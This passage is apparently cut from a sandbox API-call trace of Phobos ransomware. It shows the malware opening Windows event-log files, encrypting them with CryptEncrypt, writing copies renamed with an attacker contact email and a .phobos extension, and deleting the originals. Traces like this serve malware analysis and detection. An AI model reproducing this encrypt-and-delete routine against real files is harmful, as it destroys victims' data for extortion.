dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.279] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0058.279] CloseHandle (hObject=0x33c) returned 1 [0058.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0058.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.280] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.280] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0058.280] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0058.280] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0058.280] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cc70) returned 1 [0058.280] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.280] ReadFile (in: hFile=0x33c, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0058.288] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0058.288] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0058.292] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cbf0) returned 1 [0058.292] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.292] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0058.292] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0058.292] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0058.292] CryptDestroyKey (hKey=0x10cc70) returned 1 [0058.292] CloseHandle (hObject=0x33c) returned 1 [0058.292] CloseHandle (hObject=0x320) returned 1 [0058.295] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0058.296] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0058.296] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0058.317] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=1118208) returned 1 [0058.317] CloseHandle (hObject=0x320) returned 1 [0058.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0058.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.317] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0058.317] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0058.317] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0058.317] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.318] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10caf0) returned 1 [0058.318] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.318] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x110100, lpOverlapped=0x0) returned 1 [0058.510] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x110100, dwBufLen=0x110100 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x110100) returned 1 [0058.511] WriteFile (in: hFile=0x33c, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x110100, lpOverlapped=0x0) returned 1 [0058.646] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0xf00, lpOverlapped=0x0) returned 1 [0058.646] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xf10, dwBufLen=0xf10 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xf10) returned 1 [0058.646] WriteFile (in: hFile=0x33c, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0xf10, lpOverlapped=0x0) returned 1 [0058.646] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cdf0) returned 1 [0058.646] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.646] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0058.646] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.646] WriteFile (in: hFile=0x33c, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0058.647] CryptDestroyKey (hKey=0x10caf0) returned 1 [0058.647] CloseHandle (hObject=0x320) returned 1 [0058.647] CloseHandle (hObject=0x33c) returned 1 [0058.729] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0058.920] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0058.920] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0058.921] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0058.921] CloseHandle (hObject=0x324) returned 1 [0058.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0058.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.921] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0058.921] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0058.921] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0058.921] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0058.922] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ccf0) returned 1 [0058.922] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.922] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0058.923] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0058.924] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0058.926] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d1b0) returned 1 [0058.926] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.926] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0058.926] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0058.926] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0058.926] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0058.926] CloseHandle (hObject=0x324) returned 1 [0058.926] CloseHandle (hObject=0x320) returned 1 [0058.928] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0058.930] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0058.930] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0058.931] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0058.931] CloseHandle (hObject=0x320) returned 1 [0058.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0058.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.931] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0058.931] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0058.931] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0058.931] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0058.932] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cf70) returned 1 [0058.932] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.932] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0059.210] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0059.210] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0059.212] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d070) returned 1 [0059.212] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.212] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0059.212] CryptDestroyKey (hKey=0x10d070) returned 1 [0059.212] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0059.212] CryptDestroyKey (hKey=0x10cf70) returned 1 [0059.212] CloseHandle (hObject=0x320) returned 1 [0059.212] CloseHandle (hObject=0x324) returned 1 [0059.214] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0059.216] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0059.216] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0059.219] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0059.219] CloseHandle (hObject=0x324) returned 1 [0059.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0059.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.219] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0059.219] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.219] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.219] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.219] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cdf0) returned 1 [0059.219] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.219] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0059.221] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0059.221] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0059.223] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10caf0) returned 1 [0059.223] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.223] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xb0, dwBufLen=0xb0 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xb0) returned 1 [0059.223] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.223] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x162, lpOverlapped=0x0) returned 1 [0059.223] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0059.223] CloseHandle (hObject=0x324) returned 1 [0059.223] CloseHandle (hObject=0x320) returned 1 [0059.225] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0059.226] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0059.226] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.226] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0059.226] CloseHandle (hObject=0x320) returned 1 [0059.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0059.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.227] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0059.227] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.227] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0059.227] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0059.228] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cc70) returned 1 [0059.228] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0059.228] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0059.229] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0059.230] WriteFile (in: hFile=0x324, 